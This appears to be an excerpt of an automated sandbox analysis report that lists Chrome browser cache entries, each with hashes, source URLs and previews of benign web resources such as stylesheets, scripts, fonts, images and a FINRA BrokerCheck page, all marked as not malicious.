File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4794), with no line terminators
Category:	downloaded
Size (bytes):	4797
Entropy (8bit):	5.2141929884229015
Encrypted:	false
SSDEEP:	48:1/69a8/gRnPA81HHQIbmXuOuU+oyW1bWCMm/VGvzNqNZ/+mx+E+73UxJIutvZ9NX:cY8/onPrww7dU+oyW7gzwnGJaJfd2QV
MD5:	16327A0593D84B1F040F037BD8B0B797
SHA1:	6D985C86AF06FC6F1A71FC0CC0CAFFCCCF262965
SHA-256:	C31DA710CC3DECD83FF790674B573BA2341E5F81E805978D1672735D75BDB631
SHA-512:	65944CBFD72DCDD3E1654A415F5C79A57D44FDF05B920EAD88A593A51994A3F0025DBE51D170E153EF619BF7699D2A35B5312B2DC7C798E1F380B4527BB4C825
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=X_w8z2WqDptlxvctTj7ovyY0soL1koLkTdPxdeZM1MHmCHf0WqiWoU9NqVqCNy2pysw_1Nk1H8oVPzDbtZt8gJTvalJM1upvx5lc3pxO1Ha3k8ERD5fUf9w-o6jRB3qlQzcYEg2&t=638368678120000000
Preview:	..RadInput,.RadInputMgr{vertical-align:middle}.RadInput table{border:0;vertical-align:bottom}.RadInput table.riTable td{border:0;padding:0;vertical-align:middle;overflow:visible}.RadInput table td.riCell{padding-right:4px}.RadInput textarea{vertical-align:bottom;overflow:auto;resize:none}html body .RadInput .riTextBox,html body .RadInputMgr{border-width:1px;border-style:solid;padding:2px 1px 1px;vertical-align:middle}textarea.RadInputMgr{overflow:auto}.RadInput a{display:block;overflow:hidden;position:relative;outline:none;z-index:2;text-indent:-2222px;text-align:center;text-decoration:none}* html .RadInput a{position:static}+html .RadInput a{position:static}.RadInput .riSpin a{margin:0 1px}.RadInput a.riDown{margin-top:3px}/\/ html .RadInput a.riDown{margin-top /*/:0}.RadInput .riLabel{margin:0 4px 0 0;white-space:nowrap;width:40%;background:transparent}@media screen and (-webkit-min-device-pixel-ratio:0){.rdfd_{position:absolute}} html .RadInput{display:inline-block;height:2

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	305
Entropy (8bit):	4.581312822185803
Encrypted:	false
SSDEEP:	6:YWLSXJbT9XIeksLcARuyF9p3N4hfQF9p3o74hfQFR9cMz4Y:YWLS59XLLSK3Sy35k9XB
MD5:	4F54379F8B12D5F227EB25C9D893D309
SHA1:	1436570B5775C253BCAC00A311A08E6A6FE3C2CE
SHA-256:	BDFA3B3CCE61D930527C7AE832BB62C6B23E22487B8321831840B78A7F4C9BA8
SHA-512:	38B3A1EBADD04A351DC4CCA9EA4E9440D55C45806D358B3BEF3644DE6F570A90AB5EFDA33F57FC5751EAB4CF306C607BE313043BEAE8D039F3EE8CFD50D46C32
Malicious:	false
Reputation:	low
Preview:	{"version":"Contact Form 7 SWV Schema 2022-10","locale":"en_US","rules":[{"rule":"required","field":"text-252","error":"The field is required."},{"rule":"required","field":"email-886","error":"The field is required."},{"rule":"email","field":"email-886","error":"The e-mail address entered is invalid."}]}

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32494)
Category:	downloaded
Size (bytes):	32495
Entropy (8bit):	5.292903194613973
Encrypted:	false
SSDEEP:	768:1d5fRyuc0c7ZoqfrXqAlfkvmG3GYExTAdydV/yS5k:1d5I0c7Z/bT5VZ5k
MD5:	DE827088DD8A6F88BEAA1BDD37091AC8
SHA1:	A247DE3F5367B08DE0BF3E474A4E83F1B4BF0BF0
SHA-256:	CE73AE9731A14EB70B697F2D361F82FDD5FE58607C3E6087D44B2C0D7256DF20
SHA-512:	BA04AC768734611306FD1EBD1326D34F87861D459F2A6BAD5ED0D5548CDA844702370F97FD23C08951E44BF84965A14D2150E9C26B5CA2DEB404B896D856F323
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x/framework/dist/js/site/x.js?ver=10.4.16
Preview:	(()=>{var $e=Object.create;var Q=Object.defineProperty;var Ge=Object.getOwnPropertyDescriptor;var Qe=Object.getOwnPropertyNames;var Je=Object.getPrototypeOf,Ye=Object.prototype.hasOwnProperty;var Ue=e=>Q(e,"__esModule",{value:!0});var Ke=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var Ze=(e,t,n,o)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of Qe(t))!Ye.call(e,r)&&(n\|\|r!=="default")&&Q(e,r,{get:()=>t[r],enumerable:!(o=Ge(t,r))\|\|o.enumerable});return e},Xe=(e,t)=>Ze(Ue(Q(e!=null?$e(Je(e)):{},"default",!t&&e&&e.__esModule?{get:()=>e.default,enumerable:!0}:{value:e,enumerable:!0})),e);var de=Ke(()=>{Array.prototype.flat\|\|Object.defineProperty(Array.prototype,"flat",{configurable:!0,value:function e(){var t=isNaN(arguments[0])?1:Number(arguments[0]);return t?Array.prototype.reduce.call(this,function(n,o){return Array.isArray(o)?n.push.apply(n,e.call(o,t-1)):n.push(o),n},[]):Array.prototype.slice.call(this)},writable:!0}),Array.prototype.flatMap\|\|Object.defineProp

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.587301088300245
Encrypted:	false
SSDEEP:	3:In/T2PrwStxSoICku8iCkY:caPrhrScku8L
MD5:	DB32FF5D0D70D0786136BA1F45F78BF8
SHA1:	B66793E11B31BD346A852F450687675636AE4402
SHA-256:	00A86557B462A4B8BFCB429923E4ACC29C6A9634C5C862CF9F204D54BE5897B5
SHA-512:	DE995C5C9BAA13CC6C87363923240435188CFB5D1336F33304FA4B4D2770A20C8F3351E1D3F4C2157F07702F6FF96DB426AEECD050BAED175DCBD38520646676
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISLAkQ3qjk-C3QCxIFDSYyQWsSBQ2Q4buCEgUN9P1WzRIFDVNaR8USBQ1ilVLN?alt=proto
Preview:	Ci0KBw0mMkFrGgAKBw2Q4buCGgAKBw30/VbNGgAKBw1TWkfFGgAKBw1ilVLNGgA=

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	15406
Entropy (8bit):	3.916006719851072
Encrypted:	false
SSDEEP:	384:ZGi4tU0BIYZIZCgS7FYlsZTqP3BXbhwpMrX:ZGpG3BXbhzX
MD5:	FF7C40F109296370D6AEEBAD56B40F08
SHA1:	17957E45441D8980514C12DF9395F78B912CE01F
SHA-256:	5D1460B7576BC76EFE4DA1E985D8B18B6BE08FF7ABFCDE00BA285B163FA185F4
SHA-512:	7469A356C24D396A3C30AEB8CF2F54664C2A6B9BB7C00B59256CFA85731B3FB8E972FACB7B4E111C62C7FAD283CAE51F608CEA78F76AD8A183A8FBB2F80EE02D
Malicious:	false
Reputation:	low
URL:	https://www.smartvault.com/wp-content/uploads/2023/02/favicon.ico
Preview:	............ .h...6... .... .(.......00.... .h&......(....... ..... .............................U.U.^.{.].zX^.{._.{.^.{.[.{8................................\.xS`.\|.^.{.^.z._.{._.{._.{.^.z.].{M^.z.^.z.^.z.^.z.^.{.].y.Z.{._.{._.{._.{._.{._.{._.{._.{.^.z.].{M^.z.^.z.^.z.^.z.^.{._.{.^.z._.{._.{._.{._.{._.{._.{._.{.^.z.[.w-^.{l^.{l^.{l^.zd^.y.^.z.^.z._.{._.{._.{._.{.^.{._.z._.{.^.z.].{h_.{._.{._.{.^.z._.zC^.y._.{._.{._.{._.{.^.z.].xB_.z._.{.^.z.].{U^.z.^.z.^.{.^.z.\.zE^.y._.{._.{._.{._.{._.{.Y.w+_.{._.{.^.z.^.z.^.zo^.zo^.{.^.{.\.zE^.y._.{._.{._.{._.{.^.y.^.{._.{._.{.^.z.`.zE_.z._.z._.{.^.{.\.zE^.y._.{._.z.].\|J].{p_.zy^.z.^.z._.{.^.z.`.zE_.z._.z._.{.^.{.\.zE^.y._.{._.{.^.{.^.z._.{.Y.w+^.{._.{.^.z.\.w/].xq].xq].y._.z.\.zE^.y._.{._.{._.{._.{._.{.^.z.^.z}_.{.^.z.].{]^.z.^.z.^.{.^.z.[.x5^.y._.{._.{._.{._.{._.{._.z._.{._.{.^.z.].{h_.{._.{.^.z.].{.`.p.^.y._.{._.{._.{._.{._.{._.{._.{._.{.^.z._.\|#^.yT^.yTa.z2M......._.z._.{._.{._.{._.{._.{._.{._.{._.{.^.z.\.y=].z.].z.].z.].z.^.z._.{._.z._.\|._.{.^.

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2581
Entropy (8bit):	4.932587720968578
Encrypted:	false
SSDEEP:	48:CaYyIkaqUIlKH7LgIY/YsHxLRX4lJFZxxvwJj:xYy9ael27UIY/YgFRX6FZ3vi
MD5:	D4318CD31955A9F24519F473044664F9
SHA1:	66D56228A5DCBBD6AC852F6ACF03D3E3FB2F2A31
SHA-256:	E3C54C4A9CBF08D90E8C147B6DD3C4CD28971BC87AA9ADFD6D77BEE9F9D7CEA5
SHA-512:	B40DBF2031E53FB02B7F7CD3F1A88DDA4C1472612A3CA0755063B761E5E7B241E5ECE18E07C726922EBE61A62C9F8C279A64DD9C7776E955A5475A42E01B07DD
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 112 112">. <defs>. <clipPath id="clip-path">. <path class="cls-1" d="M107.12 90.42a12.77 12.77 0 01-17.82 2.93L41.2 58.82l14.89-20.75 48.1 34.53a12.77 12.77 0 012.93 17.82z"/>. </clipPath>. <clipPath id="clip-path-2">. <rect x="75.1" y="44.29" width="7.5" height="13.78" rx="3.48" fill="none"/>. </clipPath>. <style>. .cls-1{fill:#bcc0c4}.cls-7{fill:none}.cls-3{fill:#90c3ff}.cls-4{fill:#64676b}.cls-6{fill:#a4a7ab}.cls-7{stroke:#1876f2;stroke-linecap:round;stroke-linejoin:round;stroke-width:9.48px}.cls-10{fill:#1876f2}. </style>. </defs>. <g id="General">. <path class="cls-3" d="M86.78 102.54l-12.44.09 7.73-19.87 10.77 4.19-6.06 15.59z"/>. <path class="cls-4" d="M88.37 107.16l-15.85.1 1.82-4.63 12.44-.09-.61 1.75 2.2 2.87zM74.34 100.54l-15.85.1L60.32 96l12.43-.08-.61 1.75 2.2 2.87z"/>. <path d="M72.64 96.16l-12.44.08 7.73-19.87 10.77 4.19-6.06 15.6z"/>. <path class="cls-1" d="M107.12 90.42

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2792)
Category:	downloaded
Size (bytes):	156136
Entropy (8bit):	5.422263322741
Encrypted:	false
SSDEEP:	3072:pdxAuhp4iaafRo8meL1JquiZwUwmiEuz1var8z:94iaafRo8meL1JquiZwUwmiEuz1vars
MD5:	001C565D3F71D1216BF4644F98DD41A7
SHA1:	FD2CE8A75E85996563C0979A967608DB2A52175C
SHA-256:	616D51E92584DC6847802DBD3130EB307EA94CE555E5D0BA7B61EF4DA901244D
SHA-512:	8F54BB3F32515A6EE1592F8843FB96D3EF1F9039A5FF173698EC50461872C33C9950AF3B95669358D455891B72E63F196F04FCE95459CD9182B30F5273ABFDB1
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ifWF4/ys/l/en_US/GnjFqX6gBhq.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometUFIShareActionLinkMenuQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6645300872230027"}),null);.__d("CometUFIShareActionLinkMenuQuery$Parameters",["CometUFIShareActionLinkMenuQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("CometUFIShareActionLinkMenuQuery_facebookRelayOperation"),metadata:{},name:"CometUFIShareActionLinkMenuQuery",operationKind:"query",text:null}};e.exports=a}),null);.__d("CometContextualMessage.react",["fbt","ix","CometRow.react","CometRowItem.react","FDSIcon.react","FbtResultBase","TetraTextPairing.react","fbicon","react","stylex"],(function(a,b,c,d,e,f,g,h,i){"use strict";var j,k,l=k\|\|d("react"),m={root:{borderTopStartRadius:"x1lq5wgf",borderTopEndRadius:"xgqcy7u",borderBottomEndRadius:"x30kzoy",borderBottomStartRadius:"x9jhf4c",overflowX:"x6ikm8r",overflowY:"x10wlt62",paddingTop:"x1iorvi4",paddingEnd:"x150jy0e",paddingBottom:"x1l90r2v",paddingStart

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1600x411, components 3
Category:	dropped
Size (bytes):	188820
Entropy (8bit):	7.97957324563626
Encrypted:	false
SSDEEP:	3072:7fOBVT8cx4ZEbSEETRFSwp0lgM/NCqh5eA8jr3/Z76tehRWgrkTQEibcKe:7fOBVTKW3ETbp0N/Mqh518fxieh5oi2
MD5:	66DFA53F279BD2ACCB186B5857D7819B
SHA1:	0A9C6C95F4C7F5D567076C8C8B8D7C58AD9292E8
SHA-256:	291DEC85F3776B7847882D2FC157461110CEA6614EF656E8DFB05F857D3FF2A7
SHA-512:	9C361EB50AB054E6E89E8DAC940321D98CD221CA83DBF03C62C41A9A8E2845D3DDE9A1E8EB2BD7717FF6F75498302A184506904868A8F5E1F2B624B044626B62
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<.....http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:99FEB148482E11E7A94FE9A26D91CF36" xmpMM:DocumentID="xmp.did:99FEB149482E11E7A94FE9A26D91CF36"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:99FEB146482E11E7A94FE9A26D91CF36" stRef:documentID="xmp.did:99FEB147482E11E7A94FE9A26D91CF36"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..................................................................................................................................

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	8871
Entropy (8bit):	7.902079248614179
Encrypted:	false
SSDEEP:	192:IVI+17lRUfI6YLx5mSpRT1xSck7i0rMoEg9:IPJOz10/70rF9
MD5:	BFB3D62372518E257BA0098166363D87
SHA1:	B36EEA53250565A00A7B11C89470737565605C12
SHA-256:	BE66D727F470C8484CB27C03577A7721CA83901F828D4F4FE3D9C4660DE3BDD8
SHA-512:	A5D5529D70A4E81665B7773752611897A20B051218A9642C8C5ED11574F8B2A4BB51BF0216FAEF6FB367252E15FE0DED70094C83DD17308A669F8DA1170ADBA5
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f010000630300007b0700004a08000034090000580e0000121500008a1500007216000075170000a7220000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".............................................................................t-.-q.n.`{.6[t...(.l...,p_@.5...2..bu\|........U...k.m.g.....9...4...l)HeAK6..[.:.R.R...q....ggN...5.Ie.....V.~.(.Y%..8.4k.S33..'..3.<.0m\W..US._3..E'.j........O:`.!....-.Y>...v.2..Q.......9.-(........t.0. ..&...C}.....".Qh.Z..Bq.W...'H...D.......o1h.h....q-.JN....X..{....E.2D}.x.[,.+...t.8.~...^.....R..@n..En.....\|.aT.T..9..).G.R....H!.W.`...PD.C...u.9..C..:.%......[<..&~...7...!..1..b...z.t....p.VB........yx.\|.......(..........................!"..#12..$3A..............}..l.?...k./sFmF..%......O....g.\=8..!.i.\|....y.D..NS.s.wc..i.....3....2k.E.(&..lmp...!.T+....O.9..i........x

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (554)
Category:	downloaded
Size (bytes):	510578
Entropy (8bit):	5.695280300193632
Encrypted:	false
SSDEEP:	6144:/LJaSgOPDcwWOTEmzYSU9F0Gx95F+SiT1i7uiv5VQgDx212FC:IS4sGx97+SihiSrFIC
MD5:	E9CCB3DBDE79BA5FFDF9CAD4B32D59FD
SHA1:	3A8CD67ADC7C885BDF683F1E7F491E6A4A50679F
SHA-256:	8F2C6777C7CCC01AB67290FA8ACD5A4C4866BE64129F39DFAEB9197DFA15E137
SHA-512:	5CA7C8439030C9B4B966760C660640A094B0D6E30E10DF85D7B900C6F9108B0E309298ED93C006634BB3F437BAB3CFF1B83A5D1B18C666C04346F0856294C461
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0./.var y=function(){return[function(E,X,B,M,c,v,Y,I,h,J,F,a,C,R,P){return E+4>>3==(E-8<<2>=(R=[1,"F",22],E)&&(E+2&12)<E&&(M=u[32](4,B[R[1]]),P=A[16](32,0,X,B[R[1]],M)),R[0])&&(M=void 0===M?null:M,Y=[3,341,278],c=d[46](16,21,X,u[31](32,B)),J=e[48](7,Y[0],X,u[31](35,X),u[31](28,Y[R[0]])),I=g[27](77,15,u[31](29,X),X,u[31](33,438)),v=u[31](38,Y[2]),a=A[32](R[2],l[13](2,d[9](48,36),X),[u[7](24,v),u[31](34,X)]),C=[c,J,I,a],null!=M&&(h=A[8](73),F=A[8](72),C=[W[30](8,h,u[31](28,B),u[31](37,0))].concat(C,[W[30](8,.F,R[0],R[0]),h,e[39](12,M,X),F])),P=C),P}]}(),g=function(){return[function(E,X,B,M,c,v){return 3<=((((E^(v=[7,"W",2],19))&v[0]\|\|(this[v

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2435
Entropy (8bit):	4.654207464739271
Encrypted:	false
SSDEEP:	48:CS550EWc0V74LcbHWAllpKdo69OSIC7KXQ5qTDxS2ZJu32:D50Bc0ocbWAllMdoMOSIC7KXQ5qTDxXP
MD5:	E1EBDA90BD5AE40A05D2FBC7A7B4F9A1
SHA1:	564B16FB3AD295432B850FF58E7A19D30CC6FB22
SHA-256:	870436155A72B520F5918F62C6D8F981EF76510E3CD8280266A7C270F6FDAD49
SHA-512:	60DDB903B8E4F9A1664181350D4E8ABBA47F80A5C30328490551032A8A022C5BE6D2045DA2C096785E6F2095E0FB0B839B90F1BDA827CBC5D8ED1E127577AC0F
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/ddi43qwelxeqjxdd45pe3fvs1
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 60 60" width="60" height="60">. <g>. <path opacity="1" d="M30.1,16.1L30.1,16.1c-0.6,0-1-0.5-1-1V1c0-0.6,0.5-1,1-1l0,0c0.6,0,1,0.5,1,1v14.1C31.1,15.7,30.6,16.1,30.1,16.1z"/>. <path opacity="0.85" d="M23.1,18.1L23.1,18.1c-0.5,0.3-1.1,0.1-1.4-0.4L14.5,5.6c-0.3-0.5-0.2-1.1,0.4-1.4l0,0C15.4,3.9,16,4,16.3,4.6l7.2,12.1C23.8,17.2,23.6,17.8,23.1,18.1z"/>. <path opacity="0.77" d="M17.9,23.1L17.9,23.1c-0.3,0.5-0.9,0.7-1.4,0.4l-12.2-7c-0.5-0.3-0.7-0.9-0.4-1.4l0,0c0.3-0.5,0.9-0.7,1.4-0.4l12.2,7C18,22,18.2,22.7,17.9,23.1z"/>. <path opacity="0.69" d="M16.1,30.1L16.1,30.1c0,0.6-0.5,1-1,1L1,31.2c-0.6,0-1-0.5-1-1l0,0c0-0.6,0.5-1,1-1l14.1-0.1C15.7,29.1,16.1,29.5,16.1,30.1z"/>. <path opacity="0.61" d="M18,36.9L18,36.9c0.3,0.5,0.2,1.1-0.4,1.4L5.5,45.6c-0.5,0.3-1.1,0.2-1.4-0.4l0,0c-0.3-0.5-0.2-1.1,0.4-1.4l12.1-7.3C17.1,36.2,17.7,36.4,18,36.9z"/>. <path opacity="0.53" d="M23.3,42.1L23.3,42.1c0.5,0.3,0.6,0.9,0.4,1.4l-7.3,12.1c-0.3,0.5-0.9

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4275)
Category:	downloaded
Size (bytes):	7945
Entropy (8bit):	5.1642382510387606
Encrypted:	false
SSDEEP:	192:mjpzHmyLThQoV11jZo6Bh34LgrXGGK87JHsfvhBfA3/gAtLUu:mjpbLr/eByHUu
MD5:	088C1F7CDCA41CB4E3E49F213B9C4587
SHA1:	A6A9C67E78B34DE0EE3CD245B5CD6F5A5E94A387
SHA-256:	A9192D979731226F24B6312E09586F9ACBBB43BB8ED11EC0BA0D7814F2DD39E2
SHA-512:	18D693D9C4AF0D93AB342451537D939FBFA21CB03CAD450B3D87E1C5C582BC08245A22CE58306FB3835409C98A19899F18F492D145B9E7145C6F787D6C3B644A
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/
Preview:	<!DOCTYPE html>.<html lang="en" data-critters-container>. <head>. Google Tag Manager -->. <script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':. new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],. j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=. 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);. })(window,document,'script','dataLayer','GTM-TMF86NW');</script>. End Google Tag Manager -->. <title>BrokerCheck - Find a broker, investment or financial advisor</title>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width,height=device-height, initial-scale=1.0">. <meta name="ROBOTS" content="NOARCHIVE">. <meta name="description" content="BrokerCheck is a trusted tool that shows you employment history, certifications, licenses, and any violations for brokers and investment advisors.">. <meta name="msapplication-config" conten

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371)
Category:	downloaded
Size (bytes):	117150
Entropy (8bit):	5.102165560714596
Encrypted:	false
SSDEEP:	768:pyzGxw4vyBQWlJxtQOIRFHlgmyITm8qAlSFKbv2ctBDIq50Qfu8psYvS1Fz:hw4aL9IRFHlgmK8pPb5qQfpC
MD5:	58A49B3689D699CB72FFDA7252D99FCB
SHA1:	973E37A8502921D56BC02BB55321F45B072B6F71
SHA-256:	D31BEF450EE67B64F9B70BFDF41FE4E00C65438705CC1FBB48EA6026D3A5D697
SHA-512:	156CD61AFC94EEE7A8DB549B8680A7ABA63025F0EC8CF11AF46F9298B4474C37D88F4333604B871657EC5415909609827761EC8C729E41857DBA5FD2E3AE177D
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/css/bootstrap.min.css
Preview:	/!. Bootstrap v3.3.2 (http://getbootstrap.com). * Copyright 2011-2015 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). //! normalize.css v3.0.2 \| MIT License \| git.io/normalize */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webki

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1836
Entropy (8bit):	7.33489705303095
Encrypted:	false
SSDEEP:	48:g1uNn2vVJ3TX7TwulV6stgAS9vY3cGz+o4aR:p2PL76s2H9vYLP42
MD5:	AA582858D8D8169CDD903CF0951D3750
SHA1:	4D933DCA77682CC005D905C033CD55A6092C04FB
SHA-256:	6C1AC45F9CC20BC2AEA55AE6823953570A7194F6DDD81B67A4F2DCB928200AA8
SHA-512:	AD629D231F0603949164BC0F13CB09CAC12993AE439131F7197BCEFB6F001653CDABE9B754C36F18D223B6A920139133272D0142E44EC5D702F1784C47B8BD6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:AEDEEFE91B9F11E8A77F8609C544BD5A" xmpMM:DocumentID="xmp.did:AEDEEFEA1B9F11E8A77F8609C544BD5A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AEDEEFE71B9F11E8A77F8609C544BD5A" stRef:documentID="xmp.did:AEDEEFE81B9F11E8A77F8609C544BD5A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..^C....IDATx..[H.Q....z75...(.(..\|..{.n.XA.E.....\|(K....*.....H....=ty.E.f....9......;3..}..9g.?.9..(..:.

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7004
Entropy (8bit):	5.398834181404868
Encrypted:	false
SSDEEP:	192:rNabNSNFNO3YNkNIFNuNF6NBNWNW3FN/NGYN+nNnXNTNIND3cNTNzxNM:RahIrM2iykFAXckrVVWndpGzqpDM
MD5:	5E48F11F5E65274412215F94F73F8C49
SHA1:	4DD35E5B5136DF76BD7FF9DA1F119D0EC0E57FF7
SHA-256:	40992EB57D95A0165A6D56399CD9AFD60CC2CAC6F06579B8D87079CCAAB91E29
SHA-512:	DF21CCD235B768617F647D3DA569AB97F73E9797DAC9DDB2306093315ABA4D8F90D26B78FA780BA74C3187E83B2352DA4A58DB463BC6D6015DD0254156A997D6
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;700&display=swap
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.g

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 57, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3813
Entropy (8bit):	7.755310235086368
Encrypted:	false
